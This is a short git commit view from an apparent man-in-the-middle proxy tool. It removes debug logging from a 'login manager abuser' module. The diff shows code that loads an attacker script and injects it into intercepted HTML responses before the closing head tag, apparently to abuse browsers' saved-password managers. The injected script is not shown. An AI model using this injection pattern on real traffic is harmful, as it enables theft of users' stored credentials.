fix: removed debug logs from login manager abuser script

This commit is contained in:
evilsocket 2018-01-08 10:39:51 +01:00
commit f0614395d8

View file

@ -12,7 +12,7 @@
var AbuserJavascript = "";
function onLoad() {
console.log( "Loading abuser code from caplets/login-man-abuser.js" );
// console.log( "Loading abuser code from caplets/login-man-abuser.js" );
AbuserJavascript = readFile("caplets/login-man-abuser.js")
}
@ -34,7 +34,6 @@ function onRequest(req, res) {
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
console.log(AbuserJavascript);
if( body.indexOf('</head>') != -1 ) {
res.Body = body.replace(
'</head>',